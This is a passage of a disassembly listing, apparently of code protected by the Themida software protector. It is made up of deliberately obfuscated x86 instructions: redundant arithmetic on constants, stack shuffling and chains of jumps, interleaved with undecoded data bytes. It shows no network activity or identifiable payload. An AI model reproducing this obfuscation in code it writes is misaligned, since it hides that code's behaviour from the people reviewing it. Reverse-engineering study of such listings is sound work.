		dec	esi
		shr	esi, 8
		jmp	loc_50FF09
; ---------------------------------------------------------------------------

loc_50F9AE:				; CODE XREF: Themida_:00512B20j
		push	ebx
		mov	ebx, 72E30Fh
		sub	edi, 23E63FF5h
		jmp	loc_50ACA0
; ---------------------------------------------------------------------------
		db 8Bh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_510F59
; ---------------------------------------------------------------------------
aFauHc		db '-fa;h:',0
		align 2
		dw 3489h
		dd 79E3BE24h, 0C5E97AB0h, 87FFFFCCh, 0E95C2414h, 0FFFFEA2Fh
		dd 8FDDE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F9F6:				; CODE XREF: Themida_:00507AD0j
		add	esp, 4
		jmp	loc_511817
; ---------------------------------------------------------------------------

loc_50F9FE:				; CODE XREF: Themida_:0050EFD5j
		pop	esi
		jmp	loc_504294
; ---------------------------------------------------------------------------
		dd 0B02DF801h, 2D1DF37Bh, 50383A41h, 65ABB53h, 0EB813D73h
		dd 0BEEF9AB0h, 0C0E9D829h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50FA23:				; CODE XREF: Themida_:00503371j
		sub	esp, 4
		jmp	loc_5121F8
; ---------------------------------------------------------------------------

loc_50FA2E:				; CODE XREF: Themida_:00503739j
		add	ecx, 1
		jmp	loc_500EAA
; ---------------------------------------------------------------------------

loc_50FA39:				; CODE XREF: Themida_:0050278Cj
		push	ebp
		push	50117829h
		mov	ebp, [esp]
		add	esp, 4
		inc	ebp
		jmp	loc_504150
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 4244481h, 76120A39h, 550EB850h, 44291711h
		dd 48B0824h, 4C48324h, 4246C81h, 37F630ABh, 4244481h, 3EAA0DE6h
		dd 4245401h, 4246C81h, 3EAA0DE6h, 4244481h, 37F630ABh
		dd 0FF0044E9h, 4C481FFh, 0C1000000h, 875208E2h,	0D2F72414h
		dd 2474FF52h, 24148B04h, 0E904C483h, 0FFFFDC5Ch, 0B850424Ah
		dd 67AA12EFh, 0FF4D5DE9h, 241489FFh, 442C6853h,	75E95196h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50FACF:				; CODE XREF: Themida_:00511304j
		mov	ebx, esp
		push	edi
		mov	edi, 352C3BA7h
		shl	edi, 6
		sub	edi, 4B0EE9BCh
		add	ebx, edi
		pop	edi
		push	edx
		jmp	loc_501F80
; ---------------------------------------------------------------------------

loc_50FAE9:				; CODE XREF: Themida_:00505EEBj
		push	ebp
		push	72E04370h
		jmp	loc_50EB5B
; ---------------------------------------------------------------------------

loc_50FAF4:				; CODE XREF: Themida_:0050E1BDj
		xchg	edi, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_507563
; ---------------------------------------------------------------------------

loc_50FB0E:				; CODE XREF: Themida_:00514415j
		pop	eax
		pop	ebp
		add	ecx, 4E567A8Eh
		add	ecx, ebx
		sub	ecx, 4E567A8Eh
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_5011EA
; ---------------------------------------------------------------------------
		dd 4C481h, 0C8310000h, 0ACABE959h, 0E950FFFFh, 0FFFFD08Ch
; ---------------------------------------------------------------------------

loc_50FB3C:				; CODE XREF: Themida_:0050A66Ej
		push	3B7Fh
		jmp	loc_503BEE
; ---------------------------------------------------------------------------

loc_50FB46:				; CODE XREF: Themida_:0050DAA6j
		pop	esp
		jmp	loc_51433F
; ---------------------------------------------------------------------------
		dd 7E092FBBh, 5BDE0150h, 0EE81C601h, 507E092Fh,	29BBEE81h
		dd 2DE93003h, 1FFFF05h,	13685DEBh, 89000008h, 0CE9241Ch
		dd 26h,	0BCB652F0h, 0FF1212E9h,	2E2C1FFh, 0FFDFC5E9h, 0EB8158FFh
		dd 45C1499Eh
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	ecx
		push	edx
		mov	edx, 5A1C5575h
		jmp	loc_510044
; ---------------------------------------------------------------------------

loc_50FBA1:				; CODE XREF: Themida_:00511E3Fj
		mov	[esp], edx
		mov	dl, 74h
		mov	cl, 65h
		jmp	loc_5102AF
; ---------------------------------------------------------------------------

loc_50FBAD:				; CODE XREF: Themida_:005124D0j
		shl	ecx, 3
		neg	ecx
		or	ecx, 3DE0099Ch
		jmp	loc_5102C0
; ---------------------------------------------------------------------------
		db 28h,	0E7h, 58h
		dd 65B45066h, 0FFEA3DE9h, 148B5BFFh, 4C48124h, 66000000h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50EDAA
; ---------------------------------------------------------------------------

loc_50FBDF:				; CODE XREF: Themida_:00514DEFj
		mov	esi, 499B6B4Bh
		add	ecx, esi
		pop	esi
		mov	ebp, [esp]
		jmp	loc_505870
; ---------------------------------------------------------------------------

loc_50FBEF:				; CODE XREF: Themida_:005055D0j
		sub	esi, edi
		jmp	loc_50EBB1
; ---------------------------------------------------------------------------

loc_50FBF6:				; CODE XREF: Themida_:00512C18j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_501C9A
; ---------------------------------------------------------------------------

loc_50FC02:				; CODE XREF: Themida_:0050AD05j
		push	ecx
		mov	ecx, 2E2D6460h
		dec	ecx
		sub	ecx, 1
		sub	ecx, 364F48F1h
		not	ecx
		shl	ecx, 8
		sub	ecx, 8B7CD9C9h
		jmp	loc_50A4FF
; ---------------------------------------------------------------------------

loc_50FC25:				; CODE XREF: Themida_:0051400Dj
		add	esp, 4
		jmp	loc_509F38
; ---------------------------------------------------------------------------
		dd 13268h, 24048900h, 0FFCB41E9h, 4E5C1FFh, 0FF8B96E9h
		dd 4C381FFh, 81000000h,	4EBh, 241C8700h, 243C895Ch, 0AA2BB53h
		dd 0DF896C54h, 0E7814F5Bh, 25B63A0Ah, 0DB9514Fh, 0E927C45Dh
		dd 27A0h, 2BFh,	5FFE2900h, 8904EC83h, 74FF2434h, 8F5E0424h
		dd 248B2404h, 2855E924h, 6850FFFFh, 1D0952EFh, 1518E958h
		dd 0E9C1FFFFh, 0CFBA5207h, 8163F432h, 88442CEAh, 8E2C116h
		dd 907BF281h, 0BF5784C9h, 76F22530h, 1E9D787h, 0E900003Eh
		dd 0FFFEFB4Eh, 240C895Ch, 0E9E3B450h, 214Bh, 4F9BBB53h
		dd 0D9296845h, 4CC6E9h
		db 0
; ---------------------------------------------------------------------------

loc_50FCE1:				; CODE XREF: Themida_:00511239j
		mov	edx, 57BD582Eh
		sub	edx, 2415776Fh
		neg	edx
		jmp	loc_513485
; ---------------------------------------------------------------------------
		db 0BEh
		dd 3ABF38A3h, 240EC681h, 72E94EB5h, 2900000Eh, 0E9C789F8h
		dd 3313h
; ---------------------------------------------------------------------------

loc_50FD0C:				; CODE XREF: Themida_:00513486j
		push	ebp
		jmp	loc_500C52
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 798E1C8Bh, 0EDC1E5D1h, 3634E908h, 468FFFFh, 5E000000h
		dd 34FFF201h, 11685E24h, 8900005Ah, 0E589242Ch,	4C581h
		dd 0C5830000h, 242C8704h, 0E924248Bh, 0FFFFA954h
; ---------------------------------------------------------------------------

loc_50FD4C:				; CODE XREF: Themida_:00502290j
		not	ebp
		xor	ebp, 0FA6BA299h
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_514D03
; ---------------------------------------------------------------------------

loc_50FD61:				; CODE XREF: Themida_:0050D2BEj
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 39BB0DB8h
		xor	edi, 474470C9h
		shl	edi, 1
		jmp	loc_512BC6
; ---------------------------------------------------------------------------
		dw 7F05h
		dd 0E9380C70h, 0FFFF782Bh
; ---------------------------------------------------------------------------

loc_50FDA4:				; CODE XREF: Themida_:00506E3Cj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_502712
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 0E6895604h, 0EE6BF57h, 94E967B8h, 1FFFFDFh
		dd 24148BD7h, 0FFFD61E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50FDD5:				; CODE XREF: Themida_:0050E988j
		mov	ebx, 4C0E6531h
		add	ebx, 378E0EF0h
		sub	ebx, 7AAE271Bh
		sub	edx, ebx
		pop	ebx
		pop	ebp
		jmp	loc_513142
; ---------------------------------------------------------------------------

loc_50FDEF:				; CODE XREF: Themida_:00503A50j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0B911719h
		jmp	loc_510C31
; ---------------------------------------------------------------------------
		db 66h,	0C1h, 0EBh
		dd 0E3816602h, 57661702h, 0FAD1BF66h, 0E9FB2966h, 4255h
		dd 0E9241C89h, 3DCDh, 2404895Ch, 2728E9h, 48B6600h, 4EC8124h
		dd 89000000h, 5455243Ch, 81242C8Bh, 4C4h, 4BE5600h, 81000000h
		dd 0A10724C5h, 97ED813Fh, 10D7A2Fh, 97C581F5h, 810D7A2Fh
		dd 0A10724EDh, 0ED815E3Fh, 4, 0E9242C87h, 0FFFF44AFh, 0F9D3A3BDh
		dd 5DE801F7h, 0FFD128E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50FE81:				; CODE XREF: Themida_:005098B1j
		push	edx
		mov	edx, 16841765h
		sub	esi, edx
		pop	edx
		jmp	loc_509334
; ---------------------------------------------------------------------------

loc_50FE8F:				; CODE XREF: Themida_:0050BADEj
		or	eax, eax
		jz	loc_50DDA8
		push	59BCh
		jmp	loc_5086CF
; ---------------------------------------------------------------------------

loc_50FEA1:				; CODE XREF: Themida_:004FFC80j
		btr	[esp], ax
		pushf
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		dd 42474FFh, 567AE958h,	815FFFFFh, 0FFFFFFEDh, 0E952FFh
		dd 5100001Dh, 2F2B4CB9h, 7128E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50FECE:				; CODE XREF: Themida_:0050D9ADj
		mov	ebx, 11DA567Dh
		jmp	loc_4FFA3C
; ---------------------------------------------------------------------------
		dd 8B2434FFh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5031A1
; ---------------------------------------------------------------------------
		dw 55Fh
		dd 4, 0FF4EC0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50FF09:				; CODE XREF: Themida_:0050F9A9j
		and	esi, 4F0258FCh
		jmp	loc_5033B1
; ---------------------------------------------------------------------------

loc_50FF14:				; CODE XREF: Themida_:0050C0EAj
		mov	esi, 7AE3044Ch
		dec	esi
		add	esi, 1
		shr	esi, 6
		sub	esi, 1EB8C0Dh
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50E0F5
; ---------------------------------------------------------------------------

loc_50FF38:				; CODE XREF: Themida_:00503A10j
		mov	edx, esp
		push	eax
		jmp	loc_506170
; ---------------------------------------------------------------------------

loc_50FF40:				; CODE XREF: Themida_:00505652j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_504178
; ---------------------------------------------------------------------------
		dd 355ABA52h, 0E951088Fh, 0FFFFD844h, 90A0E9ADh, 0FE01FFFFh
		dd 5EF7015Fh, 0FF0892E9h, 81D7F7FFh, 270C9ECFh,	68515014h
		dd 3CF07F2Ah, 16B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_50FF95:				; CODE XREF: Themida_:00510712j
		add	ebp, 6B3275DEh
		sub	ebp, 779B4473h
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_50130C
; ---------------------------------------------------------------------------

loc_50FFB5:				; CODE XREF: Themida_:00507DDDj
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_504832
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	240C895Ch, 0C181E189h, 4, 53D3BD55h
		dd 0E945011Eh, 0FFFEF84Bh, 3090685Ah, 34890000h, 81E68924h
		dd 4C6h, 65BA5200h, 81183928h, 0D779CBCAh, 0A8E28106h
		dd 81524060h, 0E46DA2E2h, 0DDE28127h, 4235CB6Fh, 0FFC69FE9h
		dd 468FFh, 565E0000h, 0BD243481h, 5931FB38h, 38BDBA52h
		dd 0D13131FBh, 13E95E5Ah
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510037:				; CODE XREF: Themida_:0050D042j
		push	ebx
		mov	ebx, 276A2103h
		not	ebx
		jmp	loc_5060FA
; ---------------------------------------------------------------------------

loc_510044:				; CODE XREF: Themida_:0050FB9Cj
		mov	ecx, edx
		mov	edx, [esp]
		jmp	loc_511A32
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 12A8181Dh, 0FF93FBE9h, 29E959FFh, 89FFFFACh,	0C788241Ch
		dd 885BF988h, 240C8BCAh, 4C481h, 0D1880000h, 0FF2B04E9h
		dd 89DE29FFh, 0E9515EF3h, 0FFFFD65Ah, 148BD389h, 486CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51008E:				; CODE XREF: Themida_:00507B0Fj
		pop	esi
		sub	edi, edx
		push	dword ptr [esp]
		jmp	loc_50771B
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0FFFF8EFDh, 415716BEh, 5EF10105h, 59CE295Eh
		dd 8146D6F7h, 7ACC99F6h, 5EF28961h, 34FFD329h, 0E44FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5100C6:				; CODE XREF: Themida_:0050270Dj
		push	edx
		jmp	loc_502A13
; ---------------------------------------------------------------------------
		dd 4358C389h, 0FF49C7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5100D5:				; CODE XREF: Themida_:00507DB6j
		pop	eax
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	74ABh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]

loc_5100F2:				; CODE XREF: Themida_:loc_50130Cj
		push	4B61h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50A84B
; ---------------------------------------------------------------------------
		db 51h
		dd 592404FFh, 322AF181h, 0C18115D0h, 0B8A91A8Ch, 0FF5B71E9h
		dd 5D5B55FFh, 73E38143h, 51391128h, 29BEBD55h, 5CB9584Dh
		dd 3135FD51h, 0CB315DE9h, 83240C8Bh, 90504C4h, 2906D257h
		dd 57092DD8h, 1C8B06D2h, 0B4B8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510156:				; CODE XREF: Themida_:005059A9j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_508AE7
; ---------------------------------------------------------------------------
		db 31h,	0EBh, 5Dh
		dd 504FED81h, 0ED8151D0h, 419B7CBBh, 0C581DD01h, 419B7CBBh
		dd 504FC581h, 835B51D0h, 0EC8302C5h, 242C8904h,	0FF889DE9h
		dd 1C77FFFFh, 6658669Dh, 9C240419h, 0FF341AE9h,	5A665BFFh
		dd 0B3530D04h, 51EB80C5h, 0FF68EBE9h, 241489FFh, 0E93CB353h
		dd 0FFFF8933h, 171F2E2Dh, 4F5D0533h, 0D801264Ah, 4A4F5D2Dh
		dd 1F2E0526h, 1C8B3317h, 4C48124h, 56000000h, 2BEh, 0A886E900h
		dd 0E95FFFFFh, 0FFFF8AF7h, 0C181D901h, 368D0454h, 4E9835Bh
		dd 5C240C87h, 54241489h, 4C2815Ah, 68000000h, 6631h, 68243489h
		dd 2F77h, 0B9240C89h, 5B402A13h, 59E94141h, 81FFFF42h
		dd 0D471EFF1h, 0E7E18172h, 81624D02h, 130E1CF1h, 0E9D1F75Ah
		dd 2FDEh, 4BA52h, 80E90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51024B:				; CODE XREF: Themida_:00502856j
		push	ebp
		mov	ebp, 25AB0C71h
		not	ebp
		add	ebp, 0B985AACh
		dec	ebp
		xor	ebp, 0A02E32EFh
		sub	ecx, ebp
		pop	ebp
		add	ecx, esi
		jmp	loc_51442D
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 45A21984h, 83242C8Bh, 0BD6804C4h, 89000026h,	84E9240Ch
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510283:				; CODE XREF: Themida_:005096DFj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_507298
; ---------------------------------------------------------------------------

loc_51028C:				; CODE XREF: Themida_:0050E486j
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		jmp	loc_50E525
; ---------------------------------------------------------------------------

loc_51029C:				; CODE XREF: Themida_:005055E2j
		sub	ebp, 2A5E467Ch
		add	ebp, 0DDC43340h
		add	eax, ebp
		jmp	loc_507FF9
; ---------------------------------------------------------------------------

loc_5102AF:				; CODE XREF: Themida_:0050FBA8j
		add	cl, dl
		pop	edx
		mov	al, 0AAh
		jmp	loc_50D901
; ---------------------------------------------------------------------------

loc_5102B9:				; CODE XREF: Themida_:0050131Ej
		pop	ecx
		push	ecx
		jmp	loc_504A64
; ---------------------------------------------------------------------------

loc_5102C0:				; CODE XREF: Themida_:0050FBB8j
		xor	ecx, 15D49D2Fh
		mov	ebp, ecx
		pop	ecx
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50BA87
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 5C24048Fh,	2404D366h, 0F9D9E99Ch, 8B66FFFFh
		dd 54502404h, 4EC8358h,	0BD242C89h, 4, 3503BF57h, 0E7813694h
		dd 3A5D088Ah, 16EF814Fh, 0E9131F80h, 0FFFFE4B4h, 0BA68C201h
		dd 0E900006Dh, 0FFFFE57Ah
; ---------------------------------------------------------------------------

loc_510320:				; CODE XREF: Themida_:00511828j
		push	esi
		push	4AE2AB4h
		pop	esi
		jmp	loc_503D54
; ---------------------------------------------------------------------------
		dd 704F181h, 0FFE90A40h, 0FF000046h, 835B2434h,	0C38104C4h
		dd 4, 0E904EB83h, 2434h
; ---------------------------------------------------------------------------

loc_51034C:				; CODE XREF: Themida_:00503604j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_510362:				; CODE XREF: Themida_:0051136Dj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50CEB5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 0FF8372E9h, 240C89FFh, 66D18966h, 79E9C889h
		dd 68FFFF1Ch, 4F56h, 57242489h,	4BFh, 247C0100h, 81595F04h
		dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 949AE924h, 34FFFFFFh
		dd 21E95824h, 29FFFF3Bh, 672D5AD0h, 161C623h, 236705D8h
		dd 0B95161C6h, 0A7A18C0h, 0D1F7D1F7h, 0FFC18149h, 0C1FFFFFFh
		dd 0F18106E1h, 9CEE0C84h, 81D1F741h, 4362A0F1h,	81D1F733h
		dd 0C73A3BC1h, 26C18119h, 0E92DF0C2h, 16A3h
; ---------------------------------------------------------------------------

loc_510408:				; CODE XREF: Themida_:00512ED2j
		push	eax
		mov	eax, esp
		jmp	loc_512812
; ---------------------------------------------------------------------------
		dd 24048B66h, 203B68h, 24048900h, 405E089h, 53000000h
		dd 2BBh, 21840500h, 0CEE95581h,	0FF000035h, 48B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4A706B3Ah
		jmp	loc_505B90
; ---------------------------------------------------------------------------
aN1HC		db '1h*C',0
		dw 8900h
		dd 56B9240Ch, 81319C66h, 452F0DE9h, 0D7A0E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51046A:				; CODE XREF: Themida_:005047C4j
		mov	[esp], eax
		push	6EDA1792h
		pop	eax
		or	eax, 5C725471h
		add	eax, 966F1220h
		mov	ecx, eax
		pop	eax
		xor	ecx, 753A5A19h
		push	ecx
		not	dword ptr [esp]
		jmp	loc_513839
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 40504C4h,	53000000h, 0FF1382E9h, 4C481FFh
		dd 88000000h, 241C8B38h, 0FF3897E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5104B1:				; CODE XREF: Themida_:00508C37j
		or	esi, 103F0588h
		neg	esi
		shr	esi, 2
		jmp	loc_5106FB
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 1D86E9h, 25E98100h, 8942B28Ch, 0A834E9CFh, 0CB28FFFFh
		dd 240C8B66h, 0FFB73EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5104E1:				; CODE XREF: Themida_:0050438Dj
		push	edx
		push	ecx
		jmp	loc_510722
; ---------------------------------------------------------------------------

loc_5104E8:				; CODE XREF: Themida_:00504EABj
		mov	eax, 238C707Fh
		xor	eax, 238C707Eh
		push	ecx
		jmp	loc_50B164
; ---------------------------------------------------------------------------
		dd 5408E95Ch, 0E120FFFFh, 0A6685758h, 54000041h, 0E924048Fh
		dd 0FFFFE942h, 4EC835Ah, 53240C89h, 7223E168h, 0A6ACE916h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510522:				; CODE XREF: Themida_:0050E28Fj
		mov	cl, 0Ah
		add	cl, 0B0h
		add	cl, 30h
		add	al, 7Fh
		sub	al, 0Ah
		sub	al, cl
		push	ecx
		mov	cl, 0C4h
		shl	cl, 7
		not	cl
		inc	cl
		sub	cl, 1
		inc	cl
		push	dx
		mov	dh, 0Ah
		add	cl, dh
		pop	dx
		add	al, cl
		pop	ecx
		sub	al, 7Fh
		jmp	loc_51421C
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 5Ah
		dd 0BA52EE01h, 14B51D2Dh, 8B5AD601h, 8953242Ch,	4C381E3h
		dd 83000000h, 0FF5304C3h, 0E9042474h, 0FFFFAF14h
; ---------------------------------------------------------------------------

loc_510578:				; CODE XREF: Themida_:00514678j
		add	edx, 4
		jmp	loc_50513B
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C4h, 4895C24h,	2474FF24h, 24048B04h, 0FF6C1EE9h
		dd 36EB81FFh, 29E43F5Eh, 20F3E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5105A6:				; CODE XREF: Themida_:0050A202j
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		jmp	loc_505CAB
; ---------------------------------------------------------------------------
		db 1
		dd 0AAC381D3h, 0E9023271h, 0FFFFFF50h
; ---------------------------------------------------------------------------

loc_5105C0:				; CODE XREF: Themida_:00501D62j
		push	esi
		jmp	loc_509C74
; ---------------------------------------------------------------------------

loc_5105C6:				; CODE XREF: Themida_:0050F6F5j
		add	edx, 7A9842CEh
		pop	edi
		jmp	loc_51315C
; ---------------------------------------------------------------------------

loc_5105D2:				; CODE XREF: Themida_:00512DC9j
		mov	bh, dh
		pop	edx
		jmp	loc_508D0F
; ---------------------------------------------------------------------------

loc_5105DA:				; CODE XREF: Themida_:0050C817j
		mov	ecx, esp
		jmp	loc_512BCF
; ---------------------------------------------------------------------------

loc_5105E1:				; CODE XREF: Themida_:00512AE6j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_501ADF
; ---------------------------------------------------------------------------

loc_5105EB:				; CODE XREF: Themida_:00507217j
		pop	ebx
		mov	ebp, eax
		jmp	loc_506703
; ---------------------------------------------------------------------------
aVsc		db 'V(',0
		db 0
; ---------------------------------------------------------------------------

loc_5105F9:				; CODE XREF: Themida_:005135C7j
		mov	esi, 6E027D94h
		inc	esi
		jmp	loc_50E303
; ---------------------------------------------------------------------------
		dd 0E904E5C1h, 987h
; ---------------------------------------------------------------------------

loc_51060C:				; CODE XREF: Themida_:005028A2j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 24AE03E7h
		and	ebp, 376714D5h
		jmp	loc_51468D
; ---------------------------------------------------------------------------

loc_510623:				; CODE XREF: Themida_:0050EECAj
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	edx, 530144B5h
		add	edx, esi
		push	ecx
		mov	ecx, 6C99108Ch
		push	esi
		mov	esi, 0F986FC9h
		xor	ecx, esi
		pop	esi
		inc	ecx
		shr	ecx, 8
		push	edx
		mov	edx, 29E6A4Ch
		jmp	loc_50B0ED
; ---------------------------------------------------------------------------

loc_510652:				; CODE XREF: Themida_:004FFA86j
		add	esp, 4
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edi
		jmp	loc_5054AB
; ---------------------------------------------------------------------------

loc_510668:				; CODE XREF: Themida_:0050514Fj
		mov	[esp], ebx
		mov	ebx, 66030F1Ch
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_50D05C
; ---------------------------------------------------------------------------
		dw 0C4FEh
		dd 0C480C4FEh, 5DEC80A2h, 2858E300h, 6DEB80C3h,	66FDEB80h
		dd 5724048Bh, 0FAE9E789h, 89FFFFF9h, 6850240Ch,	59895BA9h
		dd 8124048Bh, 4C4h, 81A0500h, 0FD0518DBh, 0E9D490A7h, 0FFFF5830h
; ---------------------------------------------------------------------------

loc_5106C0:				; CODE XREF: Themida_:00508AD6j
		or	eax, eax
		jz	loc_50B040
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_512CED
; ---------------------------------------------------------------------------

loc_5106D3:				; CODE XREF: Themida_:0050D755j
		pop	edi
		push	esi
		push	ebx
		mov	ebx, 50E57E66h
		mov	esi, 0CED8711h
		add	esi, ebx
		pop	ebx
		jmp	loc_50F4CC
; ---------------------------------------------------------------------------
aHg		db '[h^',0
		align 2
		dw 1489h
		dd 184DBA24h, 55E90136h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5106FB:				; CODE XREF: Themida_:005104BCj
		add	esi, 49F24759h
		sub	ebp, esi
		pop	esi
		sub	ebp, 3FF93153h
		add	ebp, esi
		add	ebp, 3FF93153h
		jmp	loc_50FF95
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 1250E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510722:				; CODE XREF: Themida_:005104E3j
		mov	ecx, 3F080EC2h
		shr	ecx, 4
		sub	ecx, 0E9DE7845h
		jmp	loc_509D70
; ---------------------------------------------------------------------------
		db 32h,	4, 24h
		dd 0E9240430h, 0FFFEF0D6h
; ---------------------------------------------------------------------------

loc_510740:				; CODE XREF: Themida_:005038EFj
		mov	edi, esp
		add	edi, 4
		push	77CDh
		mov	[esp], eax
		mov	eax, 4
		sub	edi, 633410Bh
		add	edi, eax
		push	ecx
		mov	ecx, 633410Bh
		add	edi, ecx
		jmp	loc_50DDD2
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 68CC6804h, 1C890000h, 4EC8324h, 0FFBC05E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51077D:				; CODE XREF: Themida_:0050AB22j
		add	al, bh
		pop	ebx
		jmp	loc_504BB5
; ---------------------------------------------------------------------------
		db 0BAh, 0B5h, 48h
		dd 4FBD477Ah, 81B885B7h, 0CC5572C5h, 81D50170h,	0CC5572EDh
		dd 0EF295A70h, 0DE8685Dh, 3C890000h, 2474FF24h,	243C8B04h
		dd 8F04C483h, 37E92404h, 0BFFFFFAEh, 2AC51471h,	0FF969AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5107C5:				; CODE XREF: Themida_:0050B31Fj
		sub	ecx, 5AB90231h
		add	ecx, esi
		add	ecx, 5AB90231h
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_50909E
; ---------------------------------------------------------------------------
		db 50h
		dd 4055854h, 83000000h,	7DE904E8h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5107F7:				; CODE XREF: Themida_:0050E43Bj
		pop	esp
		jmp	loc_509261
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 5Eh
		dd 835FF931h, 0C8904ECh, 0ABBB5324h, 89066D6Ah,	0CD015BD9h
		dd 83240C8Bh, 0CD0104C4h, 4EC81h, 4890000h, 7622E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51082A:				; CODE XREF: Themida_:0050F369j
		pop	cx
		jmp	loc_511A80
; ---------------------------------------------------------------------------

loc_510831:				; CODE XREF: Themida_:0050F3D5j
		or	ecx, 3CD9230Ch
		inc	ecx
		and	ecx, 755A5D58h
		jmp	loc_500431
; ---------------------------------------------------------------------------
		db 55h
		dd 0E02E1BBDh, 2CED8159h, 813CD030h, 0FD52C0E5h, 0FCC5812Bh
